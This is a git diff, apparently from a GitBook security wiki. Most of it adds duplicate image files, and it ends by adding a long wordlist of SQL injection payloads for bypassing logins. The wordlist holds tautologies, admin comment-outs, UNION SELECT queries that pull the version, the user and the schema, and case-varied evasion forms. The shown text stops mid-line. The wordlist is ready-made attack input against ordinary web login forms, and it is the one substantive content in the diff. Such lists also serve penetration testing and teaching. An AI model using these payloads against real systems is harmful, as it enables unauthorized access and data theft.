(1) (1) (13).png new file mode 100644 index 000000000..687c4435f Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png differ diff --git a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png new file mode 100644 index 000000000..687c4435f Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png differ diff --git a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2).png new file mode 100644 index 000000000..687c4435f Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2).png differ diff --git a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png new file mode 100644 index 000000000..687c4435f Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png differ diff --git a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png new file mode 100644 index 000000000..687c4435f Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png differ diff --git a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png new file mode 100644 index 000000000..687c4435f Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png differ diff --git a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (6).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (6).png new file mode 100644 index 000000000..687c4435f Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (6).png differ diff --git a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png new file mode 100644 index 000000000..687c4435f Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png differ diff --git a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png new file mode 100644 index 000000000..687c4435f Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png differ diff --git a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (9).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (9).png new file mode 100644 index 000000000..687c4435f Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (9).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..5ec5cf81e Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png new file mode 100644 index 000000000..5ec5cf81e Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (11).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (11).png new file mode 100644 index 000000000..5ec5cf81e Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (11).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2).png new file mode 100644 index 000000000..5ec5cf81e Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png new file mode 100644 index 000000000..5ec5cf81e Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png new file mode 100644 index 000000000..5ec5cf81e Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png new file mode 100644 index 000000000..5ec5cf81e Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (6).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (6).png new file mode 100644 index 000000000..5ec5cf81e Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (6).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png new file mode 100644 index 000000000..5ec5cf81e Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png new file mode 100644 index 000000000..5ec5cf81e Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (9).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (9).png new file mode 100644 index 000000000..5ec5cf81e Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (9).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..50fcd35cf Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png new file mode 100644 index 000000000..50fcd35cf Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (11).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (11).png new file mode 100644 index 000000000..50fcd35cf Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (11).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2).png new file mode 100644 index 000000000..50fcd35cf Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png new file mode 100644 index 000000000..50fcd35cf Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png new file mode 100644 index 000000000..50fcd35cf Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png new file mode 100644 index 000000000..50fcd35cf Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (6).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (6).png new file mode 100644 index 000000000..50fcd35cf Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (6).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png new file mode 100644 index 000000000..50fcd35cf Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png new file mode 100644 index 000000000..50fcd35cf Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (9).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (9).png new file mode 100644 index 000000000..50fcd35cf Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (9).png differ diff --git a/.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..98efc7f5c Binary files /dev/null and b/.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..e2fc218f9 Binary files /dev/null and b/.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (2).png b/.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (2).png new file mode 100644 index 000000000..e2fc218f9 Binary files /dev/null and b/.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (2).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1) (1).png b/.gitbook/assets/image (620) (2) (1) (1) (1) (1).png new file mode 100644 index 000000000..8b7813787 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1) (10).png b/.gitbook/assets/image (620) (2) (1) (1) (1) (10).png new file mode 100644 index 000000000..8b7813787 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1) (10).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1) (11).png b/.gitbook/assets/image (620) (2) (1) (1) (1) (11).png new file mode 100644 index 000000000..8b7813787 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1) (11).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1) (12).png b/.gitbook/assets/image (620) (2) (1) (1) (1) (12).png new file mode 100644 index 000000000..8b7813787 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1) (12).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1) (13).png b/.gitbook/assets/image (620) (2) (1) (1) (1) (13).png new file mode 100644 index 000000000..8b7813787 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1) (13).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1) (14).png b/.gitbook/assets/image (620) (2) (1) (1) (1) (14).png new file mode 100644 index 000000000..8b7813787 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1) (14).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1) (2).png b/.gitbook/assets/image (620) (2) (1) (1) (1) (2).png new file mode 100644 index 000000000..8b7813787 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1) (2).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1) (3).png b/.gitbook/assets/image (620) (2) (1) (1) (1) (3).png new file mode 100644 index 000000000..8b7813787 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1) (3).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1) (4).png b/.gitbook/assets/image (620) (2) (1) (1) (1) (4).png new file mode 100644 index 000000000..8b7813787 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1) (4).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1) (5).png b/.gitbook/assets/image (620) (2) (1) (1) (1) (5).png new file mode 100644 index 000000000..8b7813787 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1) (5).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1) (6).png b/.gitbook/assets/image (620) (2) (1) (1) (1) (6).png new file mode 100644 index 000000000..8b7813787 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1) (6).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1) (7).png b/.gitbook/assets/image (620) (2) (1) (1) (1) (7).png new file mode 100644 index 000000000..8b7813787 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1) (7).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1) (8).png b/.gitbook/assets/image (620) (2) (1) (1) (1) (8).png new file mode 100644 index 000000000..8b7813787 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1) (8).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1) (9).png b/.gitbook/assets/image (620) (2) (1) (1) (1) (9).png new file mode 100644 index 000000000..8b7813787 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1) (9).png differ diff --git a/.gitbook/assets/image (638) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (638) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..4e69d4e12 Binary files /dev/null and b/.gitbook/assets/image (638) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (638) (1) (1) (1) (1) (1) (1) (1) (2).png b/.gitbook/assets/image (638) (1) (1) (1) (1) (1) (1) (1) (2).png new file mode 100644 index 000000000..4e69d4e12 Binary files /dev/null and b/.gitbook/assets/image (638) (1) (1) (1) (1) (1) (1) (1) (2).png differ diff --git a/.gitbook/assets/sqli-authbypass-big (1) (1) (1) (1) (1) (1) (1) (1).txt b/.gitbook/assets/sqli-authbypass-big (1) (1) (1) (1) (1) (1) (1) (1).txt new file mode 100644 index 000000000..5a03da57f --- /dev/null +++ b/.gitbook/assets/sqli-authbypass-big (1) (1) (1) (1) (1) (1) (1) (1).txt @@ -0,0 +1,771 @@ +'-' +' ' +'&' +'^' +'*' +' or ''-' +' or '' ' +' or ''&' +' or ''^' +' or ''*' +"-" +" " +"&" +"^" +"*" +" or ""-" +" or "" " +" or ""&" +" or ""^" +" or ""*" +or true-- +" or true-- +' or true-- +") or true-- +') or true-- +' or 'x'='x +') or ('x')=('x +')) or (('x'))=(('x +" or "x"="x +") or ("x")=("x +")) or (("x"))=(("x +or 1=1 +or 1=1-- +or 1=1# +or 1=1/* +admin' -- +admin' # +admin'/* +admin' or '1'='1 +admin' or '1'='1'-- +admin' or '1'='1'# +admin' or '1'='1'/* +admin'or 1=1 or ''=' +admin' or 1=1 +admin' or 1=1-- +admin' or 1=1# +admin' or 1=1/* +admin') or ('1'='1 +admin') or ('1'='1'-- +admin') or ('1'='1'# +admin') or ('1'='1'/* +admin') or '1'='1 +admin') or '1'='1'-- +admin') or '1'='1'# +admin') or '1'='1'/* +1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 +admin" -- +admin" # +admin"/* +admin" or "1"="1 +admin" or "1"="1"-- +admin" or "1"="1"# +admin" or "1"="1"/* +admin"or 1=1 or ""=" +admin" or 1=1 +admin" or 1=1-- +admin" or 1=1# +admin" or 1=1/* +admin") or ("1"="1 +admin") or ("1"="1"-- +admin") or ("1"="1"# +admin") or ("1"="1"/* +admin") or "1"="1 +admin") or "1"="1"-- +admin") or "1"="1"# +admin") or "1"="1"/* +1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 +== += +' +' -- +' # +' – +'-- +'/* +'# +" -- +" # +"/* +' and 1='1 +' and a='a + or 1=1 + or true +' or ''=' +" or ""=" +1′) and '1′='1– +' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055 +" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055 + and 1=1 + and 1=1– +' and 'one'='one +' and 'one'='one– +' group by password having 1=1-- +' group by userid having 1=1-- +' group by username having 1=1-- + like '%' + or 0=0 -- + or 0=0 # + or 0=0 – +' or 0=0 # +' or 0=0 -- +' or 0=0 # +' or 0=0 – +" or 0=0 -- +" or 0=0 # +" or 0=0 – +%' or '0'='0 + or 1=1 + or 1=1-- + or 1=1/* + or 1=1# + or 1=1– +' or 1=1-- +' or '1'='1 +' or '1'='1'-- +' or '1'='1'/* +' or '1'='1'# +' or '1′='1 +' or 1=1 +' or 1=1 -- +' or 1=1 – +' or 1=1-- +' or 1=1;# +' or 1=1/* +' or 1=1# +' or 1=1– +') or '1'='1 +') or '1'='1-- +') or '1'='1'-- +') or '1'='1'/* +') or '1'='1'# +') or ('1'='1 +') or ('1'='1-- +') or ('1'='1'-- +') or ('1'='1'/* +') or ('1'='1'# +'or'1=1 +'or'1=1′ +" or "1"="1 +" or "1"="1"-- +" or "1"="1"/* +" or "1"="1"# +" or 1=1 +" or 1=1 -- +" or 1=1 – +" or 1=1-- +" or 1=1/* +" or 1=1# +" or 1=1– +") or "1"="1 +") or "1"="1"-- +") or "1"="1"/* +") or "1"="1"# +") or ("1"="1 +") or ("1"="1"-- +") or ("1"="1"/* +") or ("1"="1"# +) or '1′='1– +) or ('1′='1– +' or 1=1 LIMIT 1;# +'or 1=1 or ''=' +"or 1=1 or ""=" +' or 'a'='a +' or a=a-- +' or a=a– +') or ('a'='a +" or "a"="a +") or ("a"="a +') or ('a'='a and hi") or ("a"="a +' or 'one'='one +' or 'one'='one– +' or uid like '% +' or uname like '% +' or userid like '% +' or user like '% +' or username like '% +' or 'x'='x +') or ('x'='x +" or "x"="x +' OR 'x'='x'#; +'=' 'or' and '=' 'or' +' UNION ALL SELECT 1, @@version;# +' UNION ALL SELECT system_user(),user();# +' UNION select table_schema,table_name FROM information_Schema.tables;# +admin' and substring(password/text(),1,1)='7 +' and substring(password/text(),1,1)='7 + +== += +' +" +'-- 2 +'/* +'# +"-- 2 +" # +"/* +'-' +'&' +'^' +'*' +'=' +0'<'2 +"-" +"&" +"^" +"*" +"=" +0"<"2 + +') +") +')-- 2 +')/* +')# +")-- 2 +") # +")/* +')-(' +')&(' +')^(' +')*(' +')=(' +0')<('2 +")-(" +")&(" +")^(" +")*(" +")=(" +0")<("2 + +'-''-- 2 +'-''# +'-''/* +'&''-- 2 +'&''# +'&''/* +'^''-- 2 +'^''# +'^''/* +'*''-- 2 +'*''# +'*''/* +'=''-- 2 +'=''# +'=''/* +0'<'2'-- 2 +0'<'2'# +0'<'2'/* +"-""-- 2 +"-""# +"-""/* +"&""-- 2 +"&""# +"&""/* +"^""-- 2 +"^""# +"^""/* +"*""-- 2 +"*""# +"*""/* +"=""-- 2 +"=""# +"=""/* +0"<"2"-- 2 +0"<"2"# +0"<"2"/* + +')-''-- 2 +')-''# +')-''/* +')&''-- 2 +')&''# +')&''/* +')^''-- 2 +')^''# +')^''/* +')*''-- 2 +')*''# +')*''/* +')=''-- 2 +')=''# +')=''/* +0')<'2'-- 2 +0')<'2'# +0')<'2'/* +")-""-- 2 +")-""# +")-""/* +")&""-- 2 +")&""# +")&""/* +")^""-- 2 +")^""# +")^""/* +")*""-- 2 +")*""# +")*""/* +")=""-- 2 +")=""# +")=""/* +0")<"2-- 2 +0")<"2# +0")<"2/* + + +'oR'2 +'oR'2'-- 2 +'oR'2'# +'oR'2'/* +'oR'2'oR' +'oR(2)-- 2 +'oR(2)# +'oR(2)/* +'oR(2)oR' +'oR 2-- 2 +'oR 2# +'oR 2/* +'oR 2 oR' +'oR/**/2-- 2 +'oR/**/2# +'oR/**/2/* +'oR/**/2/**/oR' +"oR"2 +"oR"2"-- 2 +"oR"2"# +"oR"2"/* +"oR"2"oR" +"oR(2)-- 2 +"oR(2)# +"oR(2)/* +"oR(2)oR" +"oR 2-- 2 +"oR 2# +"oR 2/* +"oR 2 oR" +"oR/**/2-- 2 +"oR/**/2# +"oR/**/2/* +"oR/**/2/**/oR" + +'oR'2'='2 +'oR'2'='2'oR' +'oR'2'='2'-- 2 +'oR'2'='2'# +'oR'2'='2'/* +'oR'2'='2'oR' +'oR 2=2-- 2 +'oR 2=2# +'oR 2=2/* +'oR 2=2 oR' +'oR/**/2=2-- 2 +'oR/**/2=2# +'oR/**/2=2/* +'oR/**/2=2/**/oR' +'oR(2)=2-- 2 +'oR(2)=2# +'oR(2)=2/* +'oR(2)=2/* +'oR(2)=(2)oR' +'oR'2'='2' LimIT 1-- 2 +'oR'2'='2' LimIT 1# +'oR'2'='2' LimIT 1/* +'oR(2)=(2)LimIT(1)-- 2 +'oR(2)=(2)LimIT(1)# +'oR(2)=(2)LimIT(1)/* +"oR"2"="2 +"oR"2"="2"oR" +"oR"2"="2"-- 2 +"oR"2"="2"# +"oR"2"="2"/* +"oR"2"="2"oR" +"oR 2=2-- 2 +"oR 2=2# +"oR 2=2/* +"oR 2=2 oR" +"oR/**/2=2-- 2 +"oR/**/2=2# +"oR/**/2=2/* +"oR/**/2=2/**/oR" +"oR(2)=2-- 2 +"oR(2)=2# +"oR(2)=2/* +"oR(2)=2/* +"oR(2)=(2)oR" +"oR"2"="2" LimIT 1-- 2 +"oR"2"="2" LimIT 1# +"oR"2"="2" LimIT 1/* +"oR(2)=(2)LimIT(1)-- 2 +"oR(2)=(2)LimIT(1)# +"oR(2)=(2)LimIT(1)/* + +'oR true-- 2 +'oR true# +'oR true/* +'oR true oR' +'oR(true)-- 2 +'oR(true)# +'oR(true)/* +'oR(true)oR' +'oR/**/true-- 2 +'oR/**/true# +'oR/**/true/* +'oR/**/true/**/oR' +"oR true-- 2 +"oR true# +"oR true/* +"oR true oR" +"oR(true)-- 2 +"oR(true)# +"oR(true)/* +"oR(true)oR" +"oR/**/true-- 2 +"oR/**/true# +"oR/**/true/* +"oR/**/true/**/oR" + +'oR'2'LiKE'2 +'oR'2'LiKE'2'-- 2 +'oR'2'LiKE'2'# +'oR'2'LiKE'2'/* +'oR'2'LiKE'2'oR' +'oR(2)LiKE(2)-- 2 +'oR(2)LiKE(2)# +'oR(2)LiKE(2)/* +'oR(2)LiKE(2)oR' +"oR"2"LiKE"2 +"oR"2"LiKE"2"-- 2 +"oR"2"LiKE"2"# +"oR"2"LiKE"2"/* +"oR"2"LiKE"2"oR" +"oR(2)LiKE(2)-- 2 +"oR(2)LiKE(2)# +"oR(2)LiKE(2)/* +"oR(2)LiKE(2)oR" + +admin +admin'-- 2 +admin'# +admin'/* +admin"-- 2 +admin"# +ffifdyop + +' UniON SElecT 1,2-- 2 +' UniON SElecT 1,2,3-- 2 +' UniON SElecT 1,2,3,4-- 2 +' UniON SElecT 1,2,3,4,5-- 2 +' 